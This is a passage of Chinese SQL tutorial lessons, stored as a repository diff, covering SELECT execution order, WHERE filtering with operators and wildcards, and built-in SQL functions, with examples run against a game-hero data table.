约束返回结果的数量可以减少数据表的网络传输量,也可以提升查询效率。如果我们知道返回结果只有1条,就可以使用`LIMIT 1`,告诉SELECT语句只需要返回一条记录即可。这样的好处就是SELECT不需要扫描完整的表,只需要检索到一条符合条件的记录即可返回。
|
||||
|
||||
## SELECT的执行顺序
|
||||
|
||||
查询是RDBMS中最频繁的操作。我们在理解SELECT语法的时候,还需要了解SELECT执行时的底层原理。只有这样,才能让我们对SQL有更深刻的认识。
|
||||
|
||||
其中你需要记住SELECT查询时的两个顺序:
|
||||
|
||||
1.关键字的顺序是不能颠倒的:
|
||||
|
||||
```
|
||||
SELECT ... FROM ... WHERE ... GROUP BY ... HAVING ... ORDER BY ...
|
||||
|
||||
```
|
||||
|
||||
2.SELECT语句的执行顺序(在MySQL和Oracle中,SELECT执行顺序基本相同):
|
||||
|
||||
```
|
||||
FROM > WHERE > GROUP BY > HAVING > SELECT的字段 > DISTINCT > ORDER BY > LIMIT
|
||||
|
||||
```
|
||||
|
||||
比如你写了一个SQL语句,那么它的关键字顺序和执行顺序是下面这样的:
|
||||
|
||||
```
|
||||
SELECT DISTINCT player_id, player_name, count(*) as num #顺序5
|
||||
FROM player JOIN team ON player.team_id = team.team_id #顺序1
|
||||
WHERE height > 1.80 #顺序2
|
||||
GROUP BY player.team_id #顺序3
|
||||
HAVING num > 2 #顺序4
|
||||
ORDER BY num DESC #顺序6
|
||||
LIMIT 2 #顺序7
|
||||
|
||||
```
|
||||
|
||||
在SELECT语句执行这些步骤的时候,每个步骤都会产生一个虚拟表,然后将这个虚拟表传入下一个步骤中作为输入。需要注意的是,这些步骤隐含在SQL的执行过程中,对于我们来说是不可见的。
|
||||
|
||||
我来详细解释一下SQL的执行原理。
|
||||
|
||||
首先,你可以注意到,SELECT是先执行FROM这一步的。在这个阶段,如果是多张表联查,还会经历下面的几个步骤:
|
||||
|
||||
1. 首先先通过CROSS JOIN求笛卡尔积,相当于得到虚拟表 vt(virtual table)1-1;
|
||||
1. 通过ON进行筛选,在虚拟表vt1-1的基础上进行筛选,得到虚拟表 vt1-2;
|
||||
1. 添加外部行。如果我们使用的是左连接、右链接或者全连接,就会涉及到外部行,也就是在虚拟表vt1-2的基础上增加外部行,得到虚拟表vt1-3。
|
||||
|
||||
当然如果我们操作的是两张以上的表,还会重复上面的步骤,直到所有表都被处理完为止。这个过程得到是我们的原始数据。
|
||||
|
||||
当我们拿到了查询数据表的原始数据,也就是最终的虚拟表vt1,就可以在此基础上再进行WHERE阶段。在这个阶段中,会根据vt1表的结果进行筛选过滤,得到虚拟表vt2。
|
||||
|
||||
然后进入第三步和第四步,也就是GROUP和 HAVING阶段。在这个阶段中,实际上是在虚拟表vt2的基础上进行分组和分组过滤,得到中间的虚拟表vt3和vt4。
|
||||
|
||||
当我们完成了条件筛选部分之后,就可以筛选表中提取的字段,也就是进入到SELECT和DISTINCT阶段。
|
||||
|
||||
首先在SELECT阶段会提取想要的字段,然后在DISTINCT阶段过滤掉重复的行,分别得到中间的虚拟表vt5-1和vt5-2。
|
||||
|
||||
当我们提取了想要的字段数据之后,就可以按照指定的字段进行排序,也就是ORDER BY阶段,得到虚拟表vt6。
|
||||
|
||||
最后在vt6的基础上,取出指定行的记录,也就是LIMIT阶段,得到最终的结果,对应的是虚拟表vt7。
|
||||
|
||||
当然我们在写SELECT语句的时候,不一定存在所有的关键字,相应的阶段就会省略。
|
||||
|
||||
同时因为SQL是一门类似英语的结构化查询语言,所以我们在写SELECT语句的时候,还要注意相应的关键字顺序,所谓底层运行的原理,就是我们刚才讲到的执行顺序。
|
||||
|
||||
## 什么情况下用SELECT*,如何提升SELECT查询效率?
|
||||
|
||||
当我们初学SELECT语法的时候,经常会使用`SELECT *`,因为使用方便。实际上这样也增加了数据库的负担。所以如果我们不需要把所有列都检索出来,还是先指定出所需的列名,因为写清列名,可以减少数据表查询的网络传输量,而且考虑到在实际的工作中,我们往往不需要全部的列名,因此你需要养成良好的习惯,写出所需的列名。
|
||||
|
||||
如果我们只是练习,或者对数据表进行探索,那么是可以使用`SELECT *`的。它的查询效率和把所有列名都写出来再进行查询的效率相差并不大。这样可以方便你对数据表有个整体的认知。但是在生产环境下,不推荐你直接使用`SELECT *`进行查询。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我对SELECT的基础语法进行了讲解,SELECT是SQL的基础。但不同阶段看SELECT都会有新的体会。当你第一次学习的时候,关注的往往是如何使用它,或者语法是否正确。再看的时候,可能就会更关注SELECT的查询效率,以及不同DBMS之间的差别。
|
||||
|
||||
在我们的日常工作中,很多人都可以写出SELECT语句,但是执行的效率却相差很大。产生这种情况的原因主要有两个,一个是习惯的培养,比如大部分初学者会经常使用`SELECT *`,而好的习惯则是只查询所需要的列;另一个对SQL查询的执行顺序及查询效率的关注,比如当你知道只有1条记录的时候,就可以使用`LIMIT 1`来进行约束,从而提升查询效率。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c8/a8/c88258e72728957b43dc2441d3f381a8.jpg" alt="">
|
||||
|
||||
最后留两道思考题吧,我今天对单表的SELECT查询进行了讲解,你之前可能也有学习使用的经验,可以说下你对SELECT使用的理解吗?另外,我今天使用heros数据表进行了举例,请你编写SQL语句,对英雄名称和最大法力进行查询,按照最大生命从高到低排序,只返回5条记录即可。你可以说明下使用的DBMS及相应的SQL语句。
|
||||
|
||||
欢迎你把这篇文章分享给你的朋友或者同事,与他们一起来分析一下王者荣耀的数据,互相切磋交流。
|
||||
170
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/06丨数据过滤:SQL数据过滤都有哪些方法?.md
Normal file
170
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/06丨数据过滤:SQL数据过滤都有哪些方法?.md
Normal file
@@ -0,0 +1,170 @@
|
||||
<audio id="audio" title="06丨数据过滤:SQL数据过滤都有哪些方法?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ae/a2/ae0d6b886ac142fd30a931ad13cea0a2.mp3"></audio>
|
||||
|
||||
我在上篇文章中讲到过,提升查询效率的一个很重要的方式,就是约束返回结果的数量,还有一个很有效的方式,就是指定筛选条件,进行过滤。过滤可以筛选符合条件的结果,并进行返回,减少不必要的数据行。
|
||||
|
||||
那么在今天的内容里,我们来学习如何对SQL数据进行过滤,这里主要使用的就是WHERE子句。
|
||||
|
||||
你可能已经使用过WHERE子句,说起来SQL其实很简单,只要能把满足条件的内容筛选出来即可,但在实际使用过程中,不同人写出来的WHERE子句存在很大差别,比如执行效率的高低,有没有遇到莫名的报错等。
|
||||
|
||||
在今天的学习中,你重点需要掌握以下几方面的内容:
|
||||
|
||||
1. 学会使用WHERE子句,如何使用比较运算符对字段的数值进行比较筛选;
|
||||
1. 如何使用逻辑运算符,进行多条件的过滤;
|
||||
1. 学会使用通配符对数据条件进行复杂过滤。
|
||||
|
||||
## 比较运算符
|
||||
|
||||
在SQL中,我们可以使用WHERE子句对条件进行筛选,在此之前,你需要了解WHERE子句中的比较运算符。这些比较运算符的含义你可以参见下面这张表格:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3a/e0/3a2667784b4887ef15becc7056f3d3e0.png" alt="">
|
||||
|
||||
实际上你能看到,同样的含义可能会有多种表达方式,比如小于等于,可以是(<=),也可以是不大于(!>)。同样不等于,可以用(<>),也可以用(!=),它们的含义都是相同的,但这些符号的顺序都不能颠倒,比如你不能写(=<)。需要注意的是,你需要查看使用的DBMS是否支持,不同的DBMS支持的运算符可能是不同的,比如Access不支持(!=),不等于应该使用(<>)。在MySQL中,不支持(!>)(!<)等。
|
||||
|
||||
我在上一篇文章中使用了heros数据表,今天还是以这张表格做练习。下面我们通过比较运算符对王者荣耀的英雄属性进行条件筛选。
|
||||
|
||||
WHERE子句的基本格式是:`SELECT ……(列名) FROM ……(表名) WHERE ……(子句条件)`
|
||||
|
||||
比如我们想要查询所有最大生命值大于6000的英雄:
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros WHERE hp_max > 6000
|
||||
|
||||
```
|
||||
|
||||
运行结果(41条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9f/c1/9f639dfe0bd9dbfc63944447f92e47c1.png" alt="">
|
||||
|
||||
想要查询所有最大生命值在5399到6811之间的英雄:
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros WHERE hp_max BETWEEN 5399 AND 6811
|
||||
|
||||
```
|
||||
|
||||
运行结果:(41条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4b/60/4b11a5f32f3f2807c8278f8d5637d460.png" alt="">
|
||||
|
||||
需要注意的是`hp_max`可以取值到最小值和最大值,即5399和6811。
|
||||
|
||||
我们也可以对heros表中的`hp_max`字段进行空值检查。
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros WHERE hp_max IS NULL
|
||||
|
||||
```
|
||||
|
||||
运行结果为空,说明heros表中的`hp_max`字段没有存在空值的数据行。
|
||||
|
||||
## 逻辑运算符
|
||||
|
||||
我刚才介绍了比较运算符,如果我们存在多个WHERE条件子句,可以使用逻辑运算符:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ae/c1/aeed170c57ae1e5378fbee9f8fb6a8c1.png" alt="">
|
||||
|
||||
我们还是通过例子来看下这些逻辑运算符的使用,同样采用heros这张表的数据查询。
|
||||
|
||||
假设想要筛选最大生命值大于6000,最大法力大于1700的英雄,然后按照最大生命值和最大法力值之和从高到低进行排序。
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max, mp_max FROM heros WHERE hp_max > 6000 AND mp_max > 1700 ORDER BY (hp_max+mp_max) DESC
|
||||
|
||||
```
|
||||
|
||||
运行结果:(23条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/85/4e/859e7e9fcf28a30f9189ef81cfe7284e.png" alt="">
|
||||
|
||||
如果AND和OR同时存在WHERE子句中会是怎样的呢?假设我们想要查询最大生命值加最大法力值大于8000的英雄,或者最大生命值大于6000并且最大法力值大于1700的英雄。
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max, mp_max FROM heros WHERE (hp_max+mp_max) > 8000 OR hp_max > 6000 AND mp_max > 1700 ORDER BY (hp_max+mp_max) DESC
|
||||
|
||||
```
|
||||
|
||||
运行结果:(33条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/05/ae/052c1fb7031d025d5e0c0027177187ae.png" alt="">
|
||||
|
||||
你能看出来相比于上一个条件查询,这次的条件查询多出来了10个英雄,这是因为我们放宽了条件,允许最大生命值+最大法力值大于8000的英雄显示出来。另外你需要注意到,当WHERE子句中同时存在OR和AND的时候,AND执行的优先级会更高,也就是说SQL会优先处理AND操作符,然后再处理OR操作符。
|
||||
|
||||
如果我们对这条查询语句OR两边的条件增加一个括号,结果会是怎样的呢?
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max, mp_max FROM heros WHERE ((hp_max+mp_max) > 8000 OR hp_max > 6000) AND mp_max > 1700 ORDER BY (hp_max+mp_max) DESC
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/1a/c9/1a41124faad3aac6e8170a72e65de5c9.png" alt="">
|
||||
|
||||
所以当WHERE子句中同时出现AND和OR操作符的时候,你需要考虑到执行的先后顺序,也就是两个操作符执行的优先级。一般来说()优先级最高,其次优先级是AND,然后是OR。
|
||||
|
||||
如果我想要查询主要定位或者次要定位是法师或是射手的英雄,同时英雄的上线时间不在2016-01-01到2017-01-01之间。
|
||||
|
||||
```
|
||||
SQL:
|
||||
SELECT name, role_main, role_assist, hp_max, mp_max, birthdate
|
||||
FROM heros
|
||||
WHERE (role_main IN ('法师', '射手') OR role_assist IN ('法师', '射手'))
|
||||
AND DATE(birthdate) NOT BETWEEN '2016-01-01' AND '2017-01-01'
|
||||
ORDER BY (hp_max + mp_max) DESC
|
||||
|
||||
```
|
||||
|
||||
你能看到我把WHERE子句分成了两个部分。第一部分是关于主要定位和次要定位的条件过滤,使用的是`role_main in ('法师', '射手') OR role_assist in ('法师', '射手')`。这里用到了IN逻辑运算符,同时`role_main`和`role_assist`是OR(或)的关系。
|
||||
|
||||
第二部分是关于上线时间的条件过滤。NOT代表否,因为我们要找到不在2016-01-01到2017-01-01之间的日期,因此用到了`NOT BETWEEN '2016-01-01' AND '2017-01-01'`。同时我们是在对日期类型数据进行检索,所以使用到了DATE函数,将字段birthdate转化为日期类型再进行比较。关于日期的操作,我会在下一篇文章中再作具体介绍。
|
||||
|
||||
这是运行结果(6条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/70/8e/7048f6ff11215b6d0113b2370103828e.png" alt="">
|
||||
|
||||
## 使用通配符进行过滤
|
||||
|
||||
刚才讲解的条件过滤都是对已知值进行的过滤,还有一种情况是我们要检索文本中包含某个词的所有数据,这里就需要使用通配符。通配符就是我们用来匹配值的一部分的特殊字符。这里我们需要使用到LIKE操作符。
|
||||
|
||||
如果我们想要匹配任意字符串出现的任意次数,需要使用(%)通配符。比如我们想要查找英雄名中包含“太”字的英雄都有哪些:
|
||||
|
||||
```
|
||||
SQL:SELECT name FROM heros WHERE name LIKE '%太%'
|
||||
|
||||
```
|
||||
|
||||
运行结果:(2条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b1/18/b18de17c2517d7c06c56f324309c4c18.png" alt=""><br>
|
||||
需要说明的是不同DBMS对通配符的定义不同,在Access中使用的是(*)而不是(%)。另外关于字符串的搜索可能是需要区分大小写的,比如`'liu%'`就不能匹配上`'LIU BEI'`。具体是否区分大小写还需要考虑不同的DBMS以及它们的配置。
|
||||
|
||||
如果我们想要匹配单个字符,就需要使用下划线(**)通配符。(%)和(**)的区别在于,(%)代表零个或多个字符,而(_)只代表一个字符。比如我们想要查找英雄名除了第一个字以外,包含‘太’字的英雄有哪些。
|
||||
|
||||
```
|
||||
SQL:SELECT name FROM heros WHERE name LIKE '_%太%'
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ab/65/ab30c809327a81ee00ce4989e7815065.png" alt="">
|
||||
|
||||
因为太乙真人的太是第一个字符,而`_%太%`中的太不是在第一个字符,所以匹配不到“太乙真人”,只可以匹配上“东皇太一”。
|
||||
|
||||
同样需要说明的是,在Access中使用(?)来代替(`_`),而且在DB2中是不支持通配符(`_`)的,因此你需要在使用的时候查阅相关的DBMS文档。
|
||||
|
||||
你能看出来通配符还是很有用的,尤其是在进行字符串匹配的时候。不过在实际操作过程中,我还是建议你尽量少用通配符,因为它需要消耗数据库更长的时间来进行匹配。即使你对LIKE检索的字段进行了索引,索引的价值也可能会失效。如果要让索引生效,那么LIKE后面就不能以(%)开头,比如使用`LIKE '%太%'`或`LIKE '%太'`的时候就会对全表进行扫描。如果使用`LIKE '太%'`,同时检索的字段进行了索引的时候,则不会进行全表扫描。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我对SQL语句中的WHERE子句进行了讲解,你可以使用比较运算符、逻辑运算符和通配符这三种方式对检索条件进行过滤。
|
||||
|
||||
比较运算符是对数值进行比较,不同的DBMS支持的比较运算符可能不同,你需要事先查阅相应的DBMS文档。逻辑运算符可以让我们同时使用多个WHERE子句,你需要注意的是AND和OR运算符的执行顺序。通配符可以让我们对文本类型的字段进行模糊查询,不过检索的代价也是很高的,通常都需要用到全表扫描,所以效率很低。只有当LIKE语句后面不用通配符,并且对字段进行索引的时候才不会对全表进行扫描。
|
||||
|
||||
你可能认为学习SQL并不难,掌握这些语法就可以对数据进行筛选查询。但实际工作中不同人写的SQL语句的查询效率差别很大,保持高效率的一个很重要的原因,就是要避免全表扫描,所以我们会考虑在WHERE及ORDER BY涉及到的列上增加索引。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fb/50/fbd79c2c90a58891b498e7f29d935050.jpg" alt="">
|
||||
|
||||
你能说一下WHERE子句中比较运算符、逻辑运算符和通配符这三者各自的作用吗?以heros数据表为例,请你编写SQL语句,对英雄名称、主要定位、次要定位、最大生命和最大法力进行查询,筛选条件为:主要定位是坦克或者战士,并且次要定位不为空,同时满足最大生命值大于8000或者最大法力小于1500的英雄,并且按照最大生命和最大法力之和从高到底的顺序进行排序。
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎点击请朋友读,把这篇文章分享给你的朋友或者同事。
|
||||
@@ -0,0 +1,235 @@
|
||||
<audio id="audio" title="07丨什么是SQL函数?为什么使用SQL函数可能会带来问题?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ec/7c/ec8520300d297469edd1231abef7167c.mp3"></audio>
|
||||
|
||||
函数在计算机语言的使用中贯穿始终,在SQL中我们也可以使用函数对检索出来的数据进行函数操作,比如求某列数据的平均值,或者求字符串的长度等。从函数定义的角度出发,我们可以将函数分成内置函数和自定义函数。在SQL语言中,同样也包括了内置函数和自定义函数。内置函数是系统内置的通用函数,而自定义函数是我们根据自己的需要编写的,下面讲解的是SQL的内置函数。
|
||||
|
||||
你需要从以下几个方面掌握SQL函数:
|
||||
|
||||
1. 什么是SQL函数?
|
||||
1. 内置的SQL函数都包括哪些?
|
||||
1. 如何使用SQL函数对一个数据表进行操作,比如针对一个王者荣耀的英雄数据库,我们可以使用这些函数完成哪些操作?
|
||||
1. 什么情况下使用SQL函数?为什么使用SQL函数有时候会带来问题?
|
||||
|
||||
## 什么是SQL函数
|
||||
|
||||
当我们学习编程语言的时候,也会遇到函数。函数的作用是什么呢?它可以把我们经常使用的代码封装起来,需要的时候直接调用即可。这样既提高了代码效率,又提高了可维护性。
|
||||
|
||||
SQL中的函数一般是在数据上执行的,可以很方便地转换和处理数据。一般来说,当我们从数据表中检索出数据之后,就可以进一步对这些数据进行操作,得到更有意义的结果,比如返回指定条件的函数,或者求某个字段的平均值等。
|
||||
|
||||
## 常用的SQL函数有哪些
|
||||
|
||||
SQL提供了一些常用的内置函数,当然你也可以自己定义SQL函数。SQL的内置函数对于不同的数据库软件来说具有一定的通用性,我们可以把内置函数分成四类:
|
||||
|
||||
1. 算术函数
|
||||
1. 字符串函数
|
||||
1. 日期函数
|
||||
1. 转换函数
|
||||
|
||||
这4类函数分别代表了算术处理、字符串处理、日期处理、数据类型转换,它们是SQL函数常用的划分形式,你可以思考下,为什么是这4个维度?
|
||||
|
||||
函数是对提取出来的数据进行操作,那么数据表中字段类型的定义有哪几种呢?
|
||||
|
||||
我们经常会保存一些数值,不论是整数类型,还是浮点类型,实际上对应的就是数值类型。同样我们也会保存一些文本内容,可能是人名,也可能是某个说明,对应的就是字符串类型。此外我们还需要保存时间,也就是日期类型。那么针对数值、字符串和日期类型的数据,我们可以对它们分别进行算术函数、字符串函数以及日期函数的操作。如果想要完成不同类型数据之间的转换,就可以使用转换函数。
|
||||
|
||||
### 算术函数
|
||||
|
||||
算术函数,顾名思义就是对数值类型的字段进行算术运算。常用的算术函数及含义如下表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/19/e1/193b171970c90394576d3812a46dd8e1.png" alt="">
|
||||
|
||||
这里我举一些简单的例子,你来体会下:
|
||||
|
||||
`SELECT ABS(-2)`,运行结果为2。
|
||||
|
||||
`SELECT MOD(101,3)`,运行结果2。
|
||||
|
||||
`SELECT ROUND(37.25,1)`,运行结果37.3。
|
||||
|
||||
### 字符串函数
|
||||
|
||||
常用的字符串函数操作包括了字符串拼接,大小写转换,求长度以及字符串替换和截取等。具体的函数名称及含义如下表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c1/4d/c161033ebeeaa8eb2436742f0f818a4d.png" alt=""><br>
|
||||
这里同样有一些简单的例子,你可以自己运行下:
|
||||
|
||||
`SELECT CONCAT('abc', 123)`,运行结果为abc123。
|
||||
|
||||
`SELECT LENGTH('你好')`,运行结果为6。
|
||||
|
||||
`SELECT CHAR_LENGTH('你好')`,运行结果为2。
|
||||
|
||||
`SELECT LOWER('ABC')`,运行结果为abc。
|
||||
|
||||
`SELECT UPPER('abc')`,运行结果ABC。
|
||||
|
||||
`SELECT REPLACE('fabcd', 'abc', 123)`,运行结果为f123d。
|
||||
|
||||
`SELECT SUBSTRING('fabcd', 1,3)`,运行结果为fab。
|
||||
|
||||
### 日期函数
|
||||
|
||||
日期函数是对数据表中的日期进行处理,常用的函数包括:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3d/45/3dec8d799b1363d38df34ed3fdd29045.png" alt="">
|
||||
|
||||
下面是一些简单的例子,你可自己运行下:
|
||||
|
||||
`SELECT CURRENT_DATE()`,运行结果为2019-04-03。
|
||||
|
||||
`SELECT CURRENT_TIME()`,运行结果为21:26:34。
|
||||
|
||||
`SELECT CURRENT_TIMESTAMP()`,运行结果为2019-04-03 21:26:34。
|
||||
|
||||
`SELECT EXTRACT(YEAR FROM '2019-04-03')`,运行结果为2019。
|
||||
|
||||
`SELECT DATE('2019-04-01 12:00:05')`,运行结果为2019-04-01。
|
||||
|
||||
这里需要注意的是,DATE日期格式必须是yyyy-mm-dd的形式。如果要进行日期比较,就要使用DATE函数,不要直接使用日期与字符串进行比较,我会在后面的例子中讲具体的原因。
|
||||
|
||||
### 转换函数
|
||||
|
||||
转换函数可以转换数据之间的类型,常用的函数如下表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5d/59/5d977d747ed1fddca3acaab33d29f459.png" alt=""><br>
|
||||
这两个函数不像其他函数,看一眼函数名就知道代表什么、如何使用。下面举了这两个函数的例子,你需要自己运行下:
|
||||
|
||||
`SELECT CAST(123.123 AS INT)`,运行结果会报错。
|
||||
|
||||
`SELECT CAST(123.123 AS DECIMAL(8,2))`,运行结果为123.12。
|
||||
|
||||
`SELECT COALESCE(null,1,2)`,运行结果为1。
|
||||
|
||||
CAST函数在转换数据类型的时候,不会四舍五入,如果原数值有小数,那么转换为整数类型的时候就会报错。不过你可以指定转化的小数类型,在MySQL和SQL Server中,你可以用`DECIMAL(a,b)`来指定,其中a代表整数部分和小数部分加起来最大的位数,b代表小数位数,比如`DECIMAL(8,2)`代表的是精度为8位(整数加小数位数最多为8位),小数位数为2位的数据类型。所以`SELECT CAST(123.123 AS DECIMAL(8,2))`的转换结果为123.12。
|
||||
|
||||
## 用SQL函数对王者荣耀英雄数据做处理
|
||||
|
||||
我创建了一个王者荣耀英雄数据库,一共有69个英雄,23个属性值。SQL文件见Github地址:[https://github.com/cystanford/sql_heros_data](https://github.com/cystanford/sql_heros_data)。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7b/24/7b14aeedd80fd7e8fb8074f9884d6b24.png" alt=""><br>
|
||||
我们现在把这个文件导入到MySQL中,你可以使用Navicat可视化数据库管理工具将.sql文件导入到数据库中。数据表为heros,然后使用今天学习的SQL函数,对这个英雄数据表进行处理。
|
||||
|
||||
首先显示英雄以及他的物攻成长,对应字段为`attack_growth`。我们让这个字段精确到小数点后一位,需要使用的是算术函数里的ROUND函数。
|
||||
|
||||
```
|
||||
SQL:SELECT name, ROUND(attack_growth,1) FROM heros
|
||||
|
||||
```
|
||||
|
||||
代码中,`ROUND(attack_growth,1)`中的`attack_growth`代表想要处理的数据,“1”代表四舍五入的位数,也就是我们这里需要精确到的位数。
|
||||
|
||||
运行结果为:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fb/ed/fb55a715543e1ed3245ae37210ad75ed.png" alt=""><br>
|
||||
假设我们想显示英雄最大生命值的最大值,就需要用到MAX函数。在数据中,“最大生命值”对应的列数为`hp_max`,在代码中的格式为`MAX(hp_max)`。
|
||||
|
||||
```
|
||||
SQL:SELECT MAX(hp_max) FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果为9328。
|
||||
|
||||
假如我们想要知道最大生命值最大的是哪个英雄,以及对应的数值,就需要分成两个步骤来处理:首先找到英雄的最大生命值的最大值,即`SELECT MAX(hp_max) FROM heros`,然后再筛选最大生命值等于这个最大值的英雄,如下所示。
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros WHERE hp_max = (SELECT MAX(hp_max) FROM heros)
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/93/20/9371fdcee4d1f7bdfdd71bc0a58aac20.png" alt="">
|
||||
|
||||
假如我们想显示英雄的名字,以及他们的名字字数,需要用到`CHAR_LENGTH`函数。
|
||||
|
||||
```
|
||||
SQL:SELECT CHAR_LENGTH(name), name FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果为:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/41/8c/415aa09e2fdc121861e3c96bd8a2af8c.png" alt="">
|
||||
|
||||
假如想要提取英雄上线日期(对应字段birthdate)的年份,只显示有上线日期的英雄即可(有些英雄没有上线日期的数据,不需要显示),这里我们需要使用EXTRACT函数,提取某一个时间元素。所以我们需要筛选上线日期不为空的英雄,即`WHERE birthdate is not null`,然后再显示他们的名字和上线日期的年份,即:
|
||||
|
||||
```
|
||||
SQL: SELECT name, EXTRACT(YEAR FROM birthdate) AS birthdate FROM heros WHERE birthdate is NOT NULL
|
||||
|
||||
```
|
||||
|
||||
或者使用如下形式:
|
||||
|
||||
```
|
||||
SQL: SELECT name, YEAR(birthdate) AS birthdate FROM heros WHERE birthdate is NOT NULL
|
||||
|
||||
```
|
||||
|
||||
运行结果为:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/26/16/26cacf4d619d9f177a1f5b22059f9916.png" alt="">
|
||||
|
||||
假设我们需要找出在2016年10月1日之后上线的所有英雄。这里我们可以采用DATE函数来判断birthdate的日期是否大于2016-10-01,即`WHERE DATE(birthdate)>'2016-10-01'`,然后再显示符合要求的全部字段信息,即:
|
||||
|
||||
```
|
||||
SQL: SELECT * FROM heros WHERE DATE(birthdate)>'2016-10-01'
|
||||
|
||||
```
|
||||
|
||||
需要注意的是下面这种写法是不安全的:
|
||||
|
||||
```
|
||||
SELECT * FROM heros WHERE birthdate>'2016-10-01'
|
||||
|
||||
```
|
||||
|
||||
因为很多时候你无法确认birthdate的数据类型是字符串,还是datetime类型,如果你想对日期部分进行比较,那么使用`DATE(birthdate)`来进行比较是更安全的。
|
||||
|
||||
运行结果为:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e5/22/e5696b5ff0aae0fd910463b1f8e6ed22.png" alt="">
|
||||
|
||||
假设我们需要知道在2016年10月1日之后上线英雄的平均最大生命值、平均最大法力和最高物攻最大值。同样我们需要先筛选日期条件,即`WHERE DATE(birthdate)>'2016-10-01'`,然后再选择`AVG(hp_max), AVG(mp_max), MAX(attack_max)`字段进行显示。
|
||||
|
||||
```
|
||||
SQL: SELECT AVG(hp_max), AVG(mp_max), MAX(attack_max) FROM heros WHERE DATE(birthdate)>'2016-10-01'
|
||||
|
||||
```
|
||||
|
||||
运行结果为:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8f/6b/8f559dc1be7d62e4c58402ebe2e7856b.png" alt="">
|
||||
|
||||
## 为什么使用SQL函数会带来问题
|
||||
|
||||
尽管SQL函数使用起来会很方便,但我们使用的时候还是要谨慎,因为你使用的函数很可能在运行环境中无法工作,这是为什么呢?
|
||||
|
||||
如果你学习过编程语言,就会知道语言是有不同版本的,比如Python会有2.7版本和3.x版本,不过它们之间的函数差异不大,也就在10%左右。但我们在使用SQL语言的时候,不是直接和这门语言打交道,而是通过它使用不同的数据库软件,即DBMS。DBMS之间的差异性很大,远大于同一个语言不同版本之间的差异。实际上,只有很少的函数是被DBMS同时支持的。比如,大多数DBMS使用(||)或者(+)来做拼接符,而在MySQL中的字符串拼接函数为`Concat()`。大部分DBMS会有自己特定的函数,这就意味着采用SQL函数的代码可移植性是很差的,因此在使用函数的时候需要特别注意。
|
||||
|
||||
## 关于大小写的规范
|
||||
|
||||
细心的人可能会发现,我在写SELECT语句的时候用的是大写,而你在网上很多地方,包括你自己写的时候可能用的是小写。实际上在SQL中,关键字和函数名是不用区分字母大小写的,比如SELECT、WHERE、ORDER、GROUP BY等关键字,以及ABS、MOD、ROUND、MAX等函数名。
|
||||
|
||||
不过在SQL中,你还是要确定大小写的规范,因为在Linux和Windows环境下,你可能会遇到不同的大小写问题。
|
||||
|
||||
比如MySQL在Linux的环境下,数据库名、表名、变量名是严格区分大小写的,而字段名是忽略大小写的。
|
||||
|
||||
而MySQL在Windows的环境下全部不区分大小写。
|
||||
|
||||
这就意味着如果你的变量名命名规范没有统一,就可能产生错误。这里有一个有关命名规范的建议:
|
||||
|
||||
1. 关键字和函数名称全部大写;
|
||||
1. 数据库名、表名、字段名称全部小写;
|
||||
1. SQL语句必须以分号结尾。
|
||||
|
||||
虽然关键字和函数名称在SQL中不区分大小写,也就是如果小写的话同样可以执行,但是数据库名、表名和字段名在Linux MySQL环境下是区分大小写的,因此建议你统一这些字段的命名规则,比如全部采用小写的方式。同时将关键词和函数名称全部大写,以便于区分数据库名、表名、字段名。
|
||||
|
||||
## 总结
|
||||
|
||||
函数对于一门语言的重要性毋庸置疑,我们在写Python代码的时候,会自己编写函数,也会使用Python内置的函数。在SQL中,使用函数的时候需要格外留意。不过如果工程量不大,使用的是同一个DBMS的话,还是可以使用函数简化操作的,这样也能提高代码效率。只是在系统集成,或者在多个DBMS同时存在的情况下,使用函数的时候就需要慎重一些。
|
||||
|
||||
比如`CONCAT()`是字符串拼接函数,在MySQL和Oracle中都有这个函数,但是在这两个DBMS中作用却不一样,`CONCAT`函数在MySQL中可以连接多个字符串,而在Oracle中`CONCAT`函数只能连接两个字符串,如果要连接多个字符串就需要用(||)连字符来解决。
|
||||
|
||||
